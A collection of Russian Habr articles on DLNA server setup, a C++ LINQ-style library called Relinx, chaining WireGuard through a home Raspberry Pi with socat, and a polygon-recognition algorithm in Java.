Собственно на этом с настройкой сервера покончено. Ну, а на телевизоре сначала разрешаем AllShare, затем находим все DLNA сервера в широковещательном домене, добавляем их, видим их в Source и наслаждаемся их присутствием, и просмотром медиаконтента.
ps: Справедливости ради отмечу, что в репозитории Debian'а есть пакет mediatomb и тем кому лень возиться со сборкой minidlna могут установить и настроить его:
`$ sudo aptitude install mediatomb` | https://habr.com/ru/post/139412/ | null | ru | null |
# Relinx — ещё одна реализация .NET LINQ методов на C++, с поддержкой «ленивых вычислений»
**(ОБНОВЛЕНО!)**
Среди многих реализаций LINQ-подобных библиотек на C++, есть много интересных, полезных и эффективных. Но на мой взгляд, большинство из них написаны с неким пренебрежением к C++ как к языку. Весь код этих библиотек написан так, словно пытаются исправить его «уродливость». Признаюсь, я люблю C++. И как бы его не поливали грязью, моя любовь к нему едва ли пройдёт. Возможно, это отчасти потому, что это мой первый язык программирования высокого уровня и второй, который я изучил после Ассемблера.
**Важное обновление**: Большое изменение в Relinx! relinx\_object теперь является миксином от std::enable\_shared\_from\_this и используется как std::shared\_ptr. Это изменение позволяет размещать relinx\_object в heap-памяти и управлять циклом жизни всей цепочки трансформаций. Теперь std::shared\_ptr можно передавать в функции и потоки без его материализации в контейнер. Единственное изменение в коде пользователя — это замена доступа к объекту через ->, а не через точку, например: раньше from({1, 2, 3})**.**count(), теперь from({1, 2, 3})**->**count(). И последнее, код Relinx перекачевал в мой другой проект, который называется **nstd**, который можно найти [здесь](https://github.com/Ptomaine/nstd).
Зачем?
======
Это извечный и, вполне, естественный вопрос. «Зачем, когда есть море LINQ-подобных библиотек — бери и пользуйся?». Отчасти, я написал её из-за своего собственного видения реализации таких библиотек. Отчасти, из-за желания пользоваться библиотекой, которая максимально полно реализует LINQ методы, чтобы при необходимости можно было бы переносить код с минимальными изменениями из одного языка в другой.
Особенности моей реализации:
* Использование стандарта C++14 (в частности, полиморфные лямбда выражения)
* Использование итераторов-адаптеров только c последовательным доступом (forward-only/input iterators). Это позволяет использовать любые типы контейнеров и объектов, которые не могут иметь произвольного доступа по разным причинам, например std::forward\_list. Это, также, немного упрощает разработку пользовательских объектов-коллекций, которые должны поддерживать std::begin, std::end, а сами итераторы должны поддерживать только operator \*, operator != и operator ++. Таким образом, кстати, работает новый оператор for для пользовательских типов.
* Relinx объект подходит для итерации в новом операторе for без конвертации в другой тип контейнера, а также в других STL функциях-алгоритмах в зависимости от типа итератора нативного контейнера.
* Библиотека реализует почти все варианты LINQ методов в том или ином виде.
* Relinx объект является очень тонкой прослойкой над нативной коллекцией, насколько это возможно.
* В библиотеке используется форвардинг параметров и реализуется move семантика вместо copy, где это уместно.
* Библиотека достаточно быстрая, за исключением операций, которые требуют произвольный доступ к элементам коллекции (например, last, element\_at, reverse).
* Библиотека легко расширяемая.
* Библиотека распространяется под лицензией MIT.
Некоторые программисты C++ не любят итераторы и пытаются их как-то заменить, например на ranges, или обойтись вообще без них. Но, в новом стандарте C++11, чтобы поддерживать оператор for для пользовательских объектов-коллекций, необходимо предоставить для оператора for именно итераторы (или итерируемые типы, например, указатели). И это требование не просто STL, а уже самого языка.
Таблица соответствия LINQ методов Relinx методам:
| LINQ методы | Relinx методы |
| --- | --- |
| Aggregate | aggregate |
| All | all |
| | none |
| Any | any |
| AsEnumerable | from |
| Avarage | avarage |
| Cast | cast |
| Concat | concat |
| Contains | contains |
| Count | count |
| | cycle |
| DefaultIfEmpty | default*\_*if*\_*empty |
| Distinct | distinct |
| ElementAt | element\_at |
| ElementAtOrDefault | element\_at\_or\_default |
| Empty | from |
| Except | except |
| First | first |
| FirstOrDefault | first\_or\_default |
| | for\_each*,* for\_each\_i |
| GroupBy | group\_by |
| GroupJoin | group\_join |
| Intersect | intersect\_with |
| Join | join |
| Last | last |
| LastOrDefault | last\_or\_default |
| LongCount | count |
| Max | max |
| Min | min |
| OfType | of\_type |
| OrderBy | order\_by |
| OrderByDescending | order\_by\_descending |
| Range | range |
| Repeat | repeat |
| Reverse | reverse |
| Select | select, select\_i |
| SelectMany | select\_many*,* select\_many\_i |
| SequenceEqual | sequence\_equal |
| Single | single |
| SingleOrDefault | single\_or\_default |
| Skip | skip |
| SkipWhile | skip\_while, skip\_while\_i |
| Sum | sum |
| Take | take |
| TakeWhile | take\_while, take\_while\_i |
| ThenBy | then\_by |
| ThenByDescending | then\_by\_descending |
| ToArray | to\_container, to\_vector |
| ToDictionary | to\_map |
| ToList | to\_list |
| ToLookup | to\_multimap |
| | to\_string |
| Union | union\_with |
| Where | where, where\_i |
| Zip | zip |
Как?
====
Исходный код библиотеки документирован Doxygen блоками с примерами использования методов. Также, имеются простые юнит-тесты, в основном написанные мною для контроля и соответствия результатов исполнения методов результатам C#. Но, они сами могут служить простыми примерами использования библиотеки. Для написания и тестирования я использовал компиляторы MinGW / GCC 5.3.0, Clang 3.9.0 и MSVC++ 2015. C MSVC++ 2015 есть проблемы компиляции юнит тестов. Насколько мне удалось выяснить, этот компилятор неправильно понимает некоторые сложные lambda выражения. Например, я заметил, что если использовать метод from внутри лямбды, то вылетает странная ошибка компиляции. С другими перечисленными компиляторами таких проблем нет.
Библиотека представляет из себя только заголовочный файл, который необходимо включить в модуль, где она будет использована.
Перед использованием, для удобства, можно ещё заинджектить relinx namespace.
Несколько примеров использования:
Простое использование. Просто, посчитаем количество нечётных чисел:
```
auto result = from({1, 2, 3, 4, 5, 6, 7, 8, 9})->count([](auto &&v) { return !!(v % 2); });
std::cout << result << std::endl;
//Должно быть выведено: 5
```
Пример по-сложнее — группировка:
```
struct Customer
{
uint32_t Id;
std::string FirstName;
std::string LastName;
uint32_t Age;
bool operator== (const Customer &other) const
{
return Id == other.Id && FirstName == other.FirstName && LastName == other.LastName && Age == other.Age;
}
};
//auto group_by(KeyFunction &&keyFunction) const noexcept -> decltype(auto)
std::vector t1\_data =
{
Customer{0, "John"s, "Doe"s, 25},
Customer{1, "Sam"s, "Doe"s, 35},
Customer{2, "John"s, "Doe"s, 25},
Customer{3, "Alex"s, "Poo"s, 23},
Customer{4, "Sam"s, "Doe"s, 45},
Customer{5, "Anna"s, "Poo"s, 23}
};
auto t1\_res = from(t1\_data)->group\_by([](auto &&i) { return i.LastName; });
auto t2\_res = from(t1\_data)->group\_by([](auto &&i) { return std::hash()(i.LastName) ^ (std::hash()(i.FirstName) << 1); });
assert(t1\_res->count() == 2);
assert(t1\_res->first([](auto &&i){ return i.first == "Doe"s; }).second.size() == 4);
assert(t1\_res->first([](auto &&i){ return i.first == "Poo"s; }).second.size() == 2);
assert(from(t1\_res->first([](auto &&i){ return i.first == "Doe"s; }).second)->contains([](auto &&i) { return i.FirstName == "Sam"s; }));
assert(from(t1\_res->first([](auto &&i){ return i.first == "Poo"s; }).second)->contains([](auto &&i) { return i.FirstName == "Anna"s; }));
assert(t2\_res->single([](auto &&i){ return i.first == (std::hash()("Doe"s) ^ (std::hash()("John"s) << 1)); }).second.size() == 2);
assert(t2\_res->single([](auto &&i){ return i.first == (std::hash()("Doe"s) ^ (std::hash()("Sam"s) << 1)); }).second.size() == 2);
```
Результатом группировки является последовательность из std::pair, где first является ключом, а second — это сгруппированные по этому ключу элементы Customer в контейнере std::vector. Группировка по нескольким полям одного класса производиться по хэш-ключу в данном примере, но это не обязательно.
А вот, пример использования group\_join, который, кстати, не компилируется только в MSVC++ 2015 из-за вложенного relinx запроса в самих lambda выражениях:
```
struct Customer
{
uint32_t Id;
std::string FirstName;
std::string LastName;
uint32_t Age;
bool operator== (const Customer &other) const
{
return Id == other.Id && FirstName == other.FirstName && LastName == other.LastName && Age == other.Age;
}
};
struct Pet
{
uint32_t OwnerId;
std::string NickName;
bool operator== (const Pet &other) const
{
return OwnerId == other.OwnerId && NickName == other.NickName;
}
};
//auto group_join(Container &&container, ThisKeyFunction &&thisKeyFunction, OtherKeyFunction &&otherKeyFunction, ResultFunction &&resultFunction, bool leftJoin = false) const noexcept -> decltype(auto)
std::vector t1\_data =
{
Customer{0, "John"s, "Doe"s, 25},
Customer{1, "Sam"s, "Doe"s, 35},
Customer{2, "John"s, "Doe"s, 25},
Customer{3, "Alex"s, "Poo"s, 23},
Customer{4, "Sam"s, "Doe"s, 45},
Customer{5, "Anna"s, "Poo"s, 23}
};
std::vector t2\_data =
{
Pet{0, "Spotty"s},
Pet{3, "Bubble"s},
Pet{0, "Kitty"s},
Pet{3, "Bob"s},
Pet{1, "Sparky"s},
Pet{3, "Fluffy"s}
};
auto t1\_res = from(t1\_data)->group\_join(t2\_data,
[](auto &&i) { return i.Id; },
[](auto &&i) { return i.OwnerId; },
[](auto &&key, auto &&values)
{
return std::make\_pair(key.FirstName + " "s + key.LastName,
from(values).
select([](auto &&i){ return i.NickName; }).
order\_by().
to\_string(","));
}
)->order\_by([](auto &&p) { return p.first; })->to\_vector();
assert(t1\_res.size() == 3);
assert(t1\_res[0].first == "Alex Poo"s && t1\_res[0].second == "Bob,Bubble,Fluffy"s);
assert(t1\_res[1].first == "John Doe"s && t1\_res[1].second == "Kitty,Spotty"s);
assert(t1\_res[2].first == "Sam Doe"s && t1\_res[2].second == "Sparky"s);
auto t2\_res = from(t1\_data)->group\_join(t2\_data,
[](auto &&i) { return i.Id; },
[](auto &&i) { return i.OwnerId; },
[](auto &&key, auto &&values)
{
return std::make\_pair(key.FirstName + " "s + key.LastName,
from(values).
select([](auto &&i){ return i.NickName; }).
order\_by().
to\_string(","));
}
, true)->order\_by([](auto &&p) { return p.first; })->to\_vector();
assert(t2\_res.size() == 6);
assert(t2\_res[1].second == std::string() && t2\_res[3].second == std::string() && t2\_res[5].second == std::string());
```
В примере, результатом первой операции является объединение двух различных объектов по ключу методом inner join, а затем их группировка по ним.
Во второй операции, происходит объединение по ключу методом left join. Об этом говорит последний параметр метода установленный в true.
А вот, пример использования фильтрации полиморфных типов:
```
//auto of_type() const noexcept -> decltype(auto)
struct base { virtual ~base(){} };
struct derived : public base { virtual ~derived(){} };
struct derived2 : public base { virtual ~derived2(){} };
std::list t1\_data = {new derived(), new derived2(), new derived(), new derived(), new derived2()};
auto t1\_res = from(t1\_data)->of\_type();
assert(t1\_res->all([](auto &&i){ return typeid(i) == typeid(derived2\*); }));
assert(t1\_res->count() == 2);
for(auto &&i : t1\_data){ delete i; };
```
---
Код можно найти здесь:
GitHub: <https://github.com/Ptomaine/nstd>, <https://github.com/Ptomaine/Relinx>
Готов ответить на вопросы по использованию библиотеки и буду очень благодарен за конструктивные предложения по улучшению функционала и замеченные ошибки. | https://habr.com/ru/post/303538/ | null | ru | null |
# WireGuard для подключения к домашней Raspberry pi и использование домашнего интернета удалённо
Wireguard удобный инструмент ~~(хотя и легко определяеться на DPI, но мы сейчас не об этом)~~ сегодня я хочу рассказать как с его помощью можно:
1. Подключаться к компьютерам за NAT (используя другой сервер с публичным IP)
2. Использовать интернет провайдера за NAT'ом (домашнего провайдера)
*При этом - подключаясь - к одному серверу, а выходить в интернет через совершенно другой*
---
Установка сервера WireGuard на сервере (зарубежном/Белый IP)
------------------------------------------------------------
Приступим, для начала установим WireGuard на сервер, я предпочитаю использовать [готовый скрипт](https://github.com/burghardt/easy-wg-quick):
```
Скачаем данный скрипт
git pull https://github.com/burghardt/easy-wg-quick
Установим зависимости
sudo apt install wireguard-tools mawk grep iproute2 qrencode
Перейдем в папку скрипта и выдадим ему права на запуск:
cd easy-wg-quick
sudo chmod +x ./easy-wg-quick
```
Для создания нового клиента на вашем сервере нужно запустить скрипт с параметром имени клиента:
```
./easy-wg-quick client_name
```
Вы получите примерно следующий вывод:
```
No seqno.txt... creating one!
No wgpsk.key... creating one!
No wghub.key... creating one!
No wghub.conf... creating one!
Wireguard hub address is 10.13.1.140:51820 on wlp9s0.
Note: customize [Interface] section of wghub.conf if required!
Note: passing argument to script creates client configuration with supplied
name to help remembering which config was for which device. If you
didn't pass any argument you can still rename created file manually
with command:
mv -vi wgclient_10.conf wgclient_name.conf
No wgclient_10.conf... creating one!
█████████████████████████████████████████████████████████████████████████
█████████████████████████████████████████████████████████████████████████
████ ▄▄▄▄▄ █▀██ ▀▄▀▄█▄ ▀▄ █▀▀▄█▄▄▀ ▄▀██▀▀▀▀█▄ █▀▀▄█ ▄▀▀ █▄▀█ ▄▄▄▄▄ ████
████ █ █ █▀▄▀ ▀█▀▄▄▄ ▄ ▀█ ▄██▄█ ▀▀▄ ███▀▀▄▄ ▀ ▄▄▀███▄▀▀ ▀▄█ █ █ ████
████ █▄▄▄█ █▀▀▀██▀▄██ ▀▄███▀▀▀▀▄▄ ▄▄▄ ▄ ▀██ ▄█▀▀ █▀██▄▀█▄█ █▄▄▄█ ████
████▄▄▄▄▄▄▄█▄█▄▀ ▀▄▀▄▀ ▀▄▀▄█ █▄█ █ █▄█ █ █ ▀ ▀▄█ ▀▄▀ ▀▄▀ ▀▄█▄█▄▄▄▄▄▄▄████
████▄▄ █▄ ▄ ██ ▄▄▄█ ▀█▀▄ ▀▄█▄▄█▄▄ ▄ █ █▀▄▀▄▀█▄▀▄▀▀▄▄ █▄ ▀▄▀ ▀ █████
█████▀ ▄▀▀▄▀▀▄█▀ █▀ ▀▀▄▀█▄█▄ ▄▀▀▄▄▄█ ▄▀▀█ ▄ ▀▀▄ ▄▄▄ ▀ █▀▀▀██▀▄█ ▄███████
████ ▄███ ▄▀█▄▀█▄▀ ███▀▀▀▀▀▀▄ ▄ ▀ ██▀ ▄███ ▄ ▀ ▀ ▄▄▀▄█▀▄▀▀ █▀ ▄▄▀ ████
█████▀ ▀▀▄ ▄▀▄▀▄██▄█ ▀ ▀▄▀█ █ █▀▀▄ ▀█▀▄▀█▀▀▄▄█▀ ██▀█▄▄▀█▄ ▀ ▀██▀▄▀████
████▀▄▄▀▀ ▄▄▄▄▄█ ▀█ ▀▀ ▀█ █▀█ ▀▀▄ ▀█▀██▀█ ▄▀▀▀▀▄▀ █▀▄▄▄ █ ▀▀▀ ▄▄ █████
████▀▄▄██ ▄▀▀▀▀█▄▄▄ ▀▄█ ▀▀ ▄▄▄ █▀▄ █▄▄ ▄███▀▄▀██ ▀▀██ ▄ ▀▄ ▄██▀▄████
████▄ ███▄ ▀▄█ ▄▀▄▀▀▀▀▄▀▀▄▄▀ ▄ ▄▄▄▀▄▄█▄▄ ▀█▄▄▀▀▀▄▄▄▀ ▀▄██▀ ▄▄ ████
████ █▄▀▀ ▄██▀▄ █▄▀▄ ▀ █▀ ▄ ▄██▀█ ▄ ██▀▄▄▀ █ ▄▄█ ▀▀ ▄▀█ ▄ ██ ▀▀▄▄████
████ ▄ ▀▄▄▄█▄█▀█▄ ▀▀▀ ▀▀▄▄█ ▀▄▀██ ▀▄█ █ █▄ █▀▀▀ ▀██ ▀▀ ▀▄▀ ██▀████
█████▄ ▀▄▀▄█▄ ▄▄▀█ ▄█ █▄▄▀ ▄▄▀█ ▄█▄▄▄ ▀▀▀▀ ▄▄ █ ▀▄█▄ ▄▄▀▀ █ ▀▄▀▄▄████
████ █▀█▀▄▄▀▀▄ ███ ▀█▀▀▄█▄ ▄ ▄███▀▄▄▀▀ ▀▀▀▀ ▄ █▄▀▄▄▄▀▄▀ ██ █▀ █ ▀████
█████▄▄█ ▄▄▄ █ ▄ ▀█▀ ▄█▀█▄ █▀▄▄ ▄▄▄ ▄ █▄█▄ ██▀▄█▀██▀ ▄ ▄▄▄ ▀▀▄█████
████▀█▀▄ █▄█ █▄█▄▀▀█ █▄▄ ▀███▀███ █▄█ ▄▄▄▀▀█ ▄██▀▀ ▀▀▄▄▄▄▄ █▄█ ██▄▀████
████ ▀ ▄▄ ▀█ ▄█ █▀ ▄█▄█▄▄▀████ ▄ ▄ ▄▄▄███▄▀██▄▄▄▄▄▀▄▄██ ▄ ▄▄▄█ ▄████
████ ▀ ▄▄ ▄ ▄▄ ▄▀▄█▄▀▀ █▄█▀ ▀█▀▀█ █▀██▀▀███▄▀▀▀█▄█▀ ▄█▄ ▄█▄█▀▄ ▀████
████▄▀▄▄▀▄▄█▀▄▄ █▄▄█▀ ▄▀▀█▄ ▄█▀██ ███ █▄▄█▀█▄▀▀▄ ▀▄▀▄ ▀██ ▀▀ ▀▀▄████
████ ▄▀▄▀▄▀ ▄▀▄ ▄ ▀█▄█ ▀▀▄█▄▀█▀▀▄██▀ ▄▀▀▄ ▄█▄██▀ ▄█▄▄▄ ▀ ██▄▀██▀▄████
████▀█ ▄█▄▄▄▄██▄ ▄▄▄█ ▄▀▄▄█▄█▄▀▀▀ █▀ █▀▀▄▀█▀█▀█▀▄█▄ ▀█▄█▀ ▀▄█▄█ ▄▀ ▄████
████▄▀▀█▄▄▄▀▀█▄ ▀█ ▄▀▄ ▀▀█▄▀▄▄▄ ▄▀ ▀▀▀▄▀█ █▀█ ▄▀ ▀█▄ ▀▀█▀▄▄█ █▄█▄██▀████
████▀█▀▄ ▀▄▄ █▄ ▀█▄ ▀ ▄▄▀█▀█▀▄██▀▄ ▄█▀█▀██▀ ▀▄█ ▀██▀▄█▄█▀ █ █▀ █████
█████ █ ▄▄▄ █▀ ▀██ ▀▄ ▄ █████▀█ ▄▀ ▄▄▄█ ▄▄█▄▄ ▄ ▄▄▄█▀▄▄▄▄▄▄▀ ▄█▄▄ █████
████▄█▄ ▄▀▄ ▄▀█▀██▄▀▄█▄█▀ ▄ █▀██ ▀▄ ▄▄▀▀▀▀█▀█ █▄ ▀▀ █ █▀ ▀ ▄██▀▄████
████▄▄ █ █▄▄▄▄ █ ▄▄▀█▄▀█ ▀▄▀ ▄▄ ▀ ▄█ █▄▀▀▄█▀▄ ▀███▀▀ ▄██ █▄▄█▀█▄▄▄▀████
████▀█▄ █▄▄█ █▀ ▄ ▀██ ▀ ▀▄▄▄▄██▄█▄▄▄█▄▄▄▀▀▄▀▄█▀ ▄█ ▄▀▄ ▀█ ▄█ ▄▄▀▄▄████
█████▄▄█▄█▄█▀▄█ ▀ █▄ ▀▀▀▀▀█▄█▄▄ ▄█ ▄▄▄ ▀▄▀██▄▄▀█▄▀▀ █▄█ ▄█ ▄▄▄ █ █▀████
████ ▄▄▄▄▄ █▄██▀▀█▀██▀▀▄█ ▄▀ ▄█▄█▀ █▄█ █▀▀▄█▄ █▄█▄▀█▀ █ █▄█ ▀▀▀▄████
████ █ █ █ █ ▀▄█ ▀███▄██▄▄ ▄ █ ▄▄ ▄▄█ ▄▀▀█▀▄▄▀▀█▄▄▄▀▀▀█ █ ▄▄▄▀ █████
████ █▄▄▄█ █ ▀▄ █▄▀█▀ ▄███▄ █ ▄ ▀█▄ ▄▀ ▀▄▀▀▄ █▀ ▄ ▀▄█▀▄█▀▄▄███▄▀▀ █████
████▄▄▄▄▄▄▄█▄▄██▄▄█▄█▄█▄▄▄▄█▄▄▄██▄█████▄▄█▄▄▄█▄▄████████▄▄▄█▄████████████
█████████████████████████████████████████████████████████████████████████
█████████████████████████████████████████████████████████████████████████
Scan QR code with your phone or use "wgclient_10.conf" file.
Updating wghub.conf... done!
Important: Deploy updated wghub.conf configuration to wireguard with wg-quick:
sudo wg-quick down ./wghub.conf # if already configured
sudo wg-quick up ./wghub.conf
sudo wg show # to check status
```
Для проверки раборты - можно отсканировать QR телефоном с установленным клиентом WireGuard и добавить новое подключение.
Для запуска сервера wireguard выполните:
```
sudo wg-quick up ./wghub.conf
Для проверки создания выполним:
sudo wg show
```
После команды вы увидите туннель, при подключении устройства статус туннеля изменится.
Ура, теперь у нас есть рабочий сервер Wireguard и один подключенный клиент - телефон.
Теперь создадим новое подключение, для вашей Raspberry pi дома
```
./easy-wg-quick raspberrypi
Выведем полученный конфиг
cat wgclient_raspberrypi.conf
```
Данные для подключения скопируйте и сохраните, они нам понадабяться для указания их в Raspberrypi
Незабудем перезапустить сервис после изменения конфига и заодно добавим сервис в автозапуск:
```
sudo wg-quick down ./wghub.conf
sudo cp wghub.conf /etc/wireguard/wghub.conf
sudo systemctl enable wg-quick@wghub
sudo systemctl start wg-quick@wghub
И проверим успешность systemctl status wg-quick@wghub
```
Теперь при запросе статуса `sudo wg show` вы увидите два туннеля.
WireGuard клиент на raspberry pi
--------------------------------
Устанавливаем wireguard
```
sudo apt-get update
sudo apt install wireguard
```
Создаём файл с конфигом и вставляем туда, то что получили от вашего сервера:
```
sudo nano /etc/wireguard/wg0.conf
```
Важный момент! обратите внимание на секцию **AllowedIPs**
Мы же не хотим отправить весь трафик в туннель? тогда нужно поменять маску, пример конфигурации:
```
[Interface]
Address = 10.81.54.12/24
DNS = 1.1.1.1
PrivateKey = 12121212121dadada
MTU = 1280
[Peer]
PublicKey = fdsjkfslfjslfjlsfls=
PresharedKey = 242342klndslknfsflsnflsfs
AllowedIPs = 10.81.54.0/24
Endpoint = SERVER_IP:54203
PersistentKeepalive = 25
```
В пункте **AllowedIPs** вероятно у вас будет указано 0.0.0.0 ::1 - это означает, что весь трафик нужно подать в тунель. Для подачи только части трафика (мы же не хотим что бы домашняя малинка ходила в интернет через VPN) следует изменить этот пункт, сеть стоит взять из поля **Address**, т.е если у вас: **Address = 10.81.54.12/24**, то **AllowedIPs = 10.81.54.0/24**
После сохранения конфигурации давайте поднимем клиент на Raspberry:
```
sudo wg-quick up wg0
```
Теперь у нас должен быть рабочий тунель, который вы сможете увидеть в `ifconfig`
```
wg0: flags=209 mtu 1280
inet 10.81.54.12 netmask 255.255.255.0 destination 10.81.54.12
```
Для проверки работы тунеля можно сделать ping с сервера на IP который вы увидели в ifconfig: `ping 10.81.54.12`
Если всё успешно, добавляем правила для автозапуска нашего сервиса на Raspberry:
```
sudo wg-quick down wg0
sudo systemctl enable wg-quick@wg0
sudo systemctl start wg-quick@wg0
```
Теперь туннель будет стартовать при включении малинки.
На данном этапе у нас есть рабочий туннель Сервер <-----> Raspberry pi, и при подключении к серверу, можно подключиться к малинке, например по SSH.
Используем домашний интернет (ака wireguard chain)
--------------------------------------------------
А теперь давайте сделаем более сложную конструкцию, мы хотим подключаться к вашему серверу (который например - находится в Германии), а выходить в интернет из вашей домашней сети (например из РФ).
Тут может прозвучать вопрос: *Зачем?!*
На самом деле такой вариант доступа может потребоваться для доступа к некотрым ресурсам, которые почему-то не хотят пускать из-за пределов своей страны.
Для реализации такого подключения нам потребуеться:
1. Установленный сервер Wireguard на вашем сервере (мы это сделали чуть выше)
2. Установленный клиент Wireguard на raspberry (это тоже мы сделали)
3. Установить сервер Wireguard на Raspberry
4. Перенаправить порты на Сервере
Установим сервер на Raspberry
-----------------------------
Ход установки одинаковый с тем, что мы проделали вначале
```
sudo apt install wireguard-tools mawk grep iproute2 qrencode
git clone https://github.com/burghardt/easy-wg-quick.git
cd easy-wg-quick
sudo chmod +x ./easy-wg-quick
./easy-wg-quick phone_home_inet
```
Опять же на этом моменте установим себе на телефон новое подключение - к малинке.
**Посмотрите на каком порту у вас создался сервис !, он нам понадобиться, далее мы будем считать, что wireguard на raspberry в режиме сервера слушает порт** `3134`
А теперь запустим сервис `sudo wg-quick up ./wghub.conf` и проверим подключение с мобильного **(телефон и raspberry должны быть в одной сети)**
После успешного теста - добавим сервис в автозапуск
```
sudo cp wghub.conf /etc/wireguard/wghub.conf
sudo wg-quick down ./wghub.conf
sudo systemctl enable wg-quick@wghub
sudo systemctl start wg-quick@wghub
systemctl status wg-quick@wghub
```
Пробрасываем тонель Сервер--> Raspberry
---------------------------------------
Настала время самого интересного, собрать всё воедино, для этого нам потребуется всего одна команда, установим `socat`
```
sudo apt install socat
```
Запустим:
```
socat UDP4-LISTEN:3134,fork,reuseaddr UDP4:10.81.54.12:3134
```
Разберем что тут происходит, данной командой мы просим `socat` открыть UDP сокет и слушать его на сервере на порту 3134 и всё что туда попадёт - отправить на `10.81.54.12:3134` - это IP нашей малинки, который мы ей присвоили при установке соединение: Wireguard на сервере <----> Raspberry (клиент) А вот порт - это порт Wireguard сервера который запущен на Raspberry
Проверим работу - для этого в настройках соединения на вашем телефоне, укажите внешний IP вашего сервера, вместо локального (домашнего адреса) а вот порт должен остаться старый (тот что используеться сервером wireguard на raspberry).
После подключения и проверки IP адреса (лучше подключаться через LTE для проверки) вы увидите адрес вашего домашнего провайдера (там где стоит ваша Raspberry)
Осталось только добавить socat в автозапуск:
Выполним на **сервере** `/etc/systemd/system/socat_home.service`
Вставим туда:
```
[Unit]
Description=Forward UDP from 3134 to 3134 raspberry (bidirectional)
After=network.target
[Service]
Type=simple
ExecStart=/usr/bin/socat UDP4-LISTEN:3134,fork,reuseaddr UDP4:10.81.54.12:3134
Restart=always
```
Обновим список демонов и запустим сервис:
```
sudo systemctl daemon-reload
sudo systemctl enable socat_home.service
sudo systemctl start socat_home.service
# Проверим что всё ок.
sudo systemctl status socat_home.service
```
Ура, теперь у вас есть постоянный доступ к вашей домашней Raspberry и возможность подключаться к интернету через VPN используя IP домашней сети. | https://habr.com/ru/post/572796/ | null | ru | null |
# Распознаем простые фигуры по массиву точек
В данной статье рассматривается простой алгоритм распознавания нарисованного пользователем многоугольника. Алгоритм преобразует набор точек, предоставленный пользователем, в точки многоугольника, удаляя точки находящиеся на прямых. Так же алгоритм может на базовом уровне распознавать окружности.
Данный алгоритм не претендует на уникальность. Однако, я постарался детально расписать как и почему он работает без сложной математики, за исключением, быть может свертки.
---
Оглавление
----------
* [Общее описание алгоритма](#description)
* [Преобразование точек в диаграмму](#convert)
* [Поиск углов многоугольника](#corners)
* [Распознавание окружностей](#circle)
* [Заключение](#conclusion)
Общее описание алгоритма
------------------------
Алгоритм преобразует точки, предоставленные пользователем, в диаграмму удаленности точки от центра. По полученным расстояниям строится диаграмма распределение расстояния в зависимости от угла. Далее к диаграмме применяется простая свертка, позволяющая выделить углы многоугольника. Если после применения фильтра не найдено ни одного угла, то считается, что пользователь нарисовал окружность. В противном случае выполняется поиск всех углов многоугольника. Если число найденных углов больше пяти, то многоугольник считается не распознанным.
Полный код проекта доступен в [этом репозитории](https://github.com/SnakeSolid/java-recognize-shape). Проект представляет из себя GUI-приложение на Java, в котором можно нарисовать фигуру и посмотреть как она распознается. Главная задача проекта — реализовать алгоритм распознавания, поэтому местами вид кода заставляет плакать.
Весь код относящийся к алгоритму распознавания находится в файле [Algorithm.java](https://github.com/SnakeSolid/java-recognize-shape/blob/main/src/main/java/ru/snake/recognize/shape/Algorithm.java).
Преобразование точек в диаграмму
--------------------------------
Как правило, углы многоугольника находятся дальше от его центра, чем ближайшие к ним точки. Значит построив график расстояния от каждой точки до центра многоугольника можно определить какие из точек являются его углами, а какие находятся на ребрах.
В качестве центра многоугольника можно использовать среднее арифметическое всех точек. Далее можно посчитать расстояние от центра до каждой точки.
Рис 1: Точки, нарисованные пользователем, и их центр.Код преобразования точек в массив расстояний
```
// Расчет центра фигуры.
int centerX = 0;
int centerY = 0;
for (Point point : sourcePoints) {
centerX += point.x;
centerY += point.y;
}
centerX /= sourcePoints.size();
centerY /= sourcePoints.size();
// Расчет расстояний от точек до центра.
distancies.clear();
for (int index = 0; index < sourcePoints.size(); index += 1) {
Point point = sourcePoints.get(index);
Distance distance = new Distance();
int deltaX = point.x - centerX;
int deltaY = point.y - centerY;
distance.distance = Math.pow(deltaX, 2) + Math.pow(deltaY, 2);
distance.angle = Math.atan2(deltaX, deltaY);
distance.index = index;
distancies.add(distance);
}
```
Рис 2: Расстояние от каждой точки до центра.На данном графике можно выделить четыре точки, предположительно соответствующие углам многоугольника. Однако, выбрать будущий угол многоугольника достаточно сложно даже человеку. Чтобы упростить распознавание преобразуем график, следующим образом: вместо индекса точки будем использовать угол, на котором расположена точка, относительно центра фигуры.
Код преобразования массива расстояний в массив углов
```
Collections.sort(distancies, Comparator.comparingDouble((Distance d) -> d.angle));
// Нормализуем расстояния, чтобы дальнейшие расчеты не зависили от размера фигуры.
double minimalAngle = 0.0;
double maximalAngle = 0.0;
double maximalDistance = 0.0;
for (Distance distance : distancies) {
minimalAngle = Math.min(distance.angle, minimalAngle);
maximalAngle = Math.max(distance.angle, maximalAngle);
maximalDistance = Math.max(distance.distance, maximalDistance);
}
for (Distance distance : distancies) {
distance.distance = distance.distance / maximalDistance;
distance.position = data.length * (distance.angle - minimalAngle) / (maximalAngle - minimalAngle);
}
// Вычислим массив расстояний, в котором угол будет изменяться линейно относительно индекса в массиве.
for (int index = 0; index < data.length; index += 1) {
Distance dd = new Distance();
dd.position = index;
int found = Collections
.binarySearch(distancies, dd, Comparator.comparingDouble((Distance d) -> d.position));
if (found >= 0) {
data[index] = distancies.get(found).distance;
} else {
int point = -found - 1;
Distance left = distancies.get(point - 1);
Distance right = distancies.get(point);
double factor = (index - left.position) / (left.position - right.position);
data[index] = left.distance + factor * (left.distance - right.distance);
if (factor < 0.5) {
indexes[index] = point - 1;
} else {
indexes[index] = point;
}
}
}
```
Рис 3: Расстояние до центра, зависимость от угла.На данном графике уже можно определить точки, соответствующие углам многоугольника. Каждая такая точка имеет характерный пик, по которому можно определить угол и саму точку. Для упрощения распознавания пиков, соответствующих точкам, выполним преобразование данного графика при помощи свертки.
Поиск углов многоугольника
--------------------------
Для того, чтобы алгоритм мог выделить пики, соответствующие углам воспользуемся ядром свертки, построенным на основании расстояния до точек, принадлежащих углу четырехугольника, по следующей формуле:
![y=\sqrt[]{((1 — x)^2 + 1) } - 1](https://habrastorage.org/getpro/habr/upload_files/6a6/723/d75/6a6723d756365f7a6fd0e7040df92ce4.svg)Код расчета ядра свертки
```
// dataSize - размер массива с расстояниями до центра
public static Kernel peakDetect(int dataSize) {
// data length / (2 * max corners + 1)
int size = dataSize / (2 * 5 + 1);
// Middle element of array
int center = (size / 2) | 1;
double values[] = new double[size];
double kernelSum = 0.0;
for (int index = 0; index < size; index += 1) {
double factor = Math.abs(index - center) / (center + 1.0);
values[index] = Math.sqrt(Math.pow(1 - factor, 2.0) + 1) - 1;
kernelSum += values[index];
}
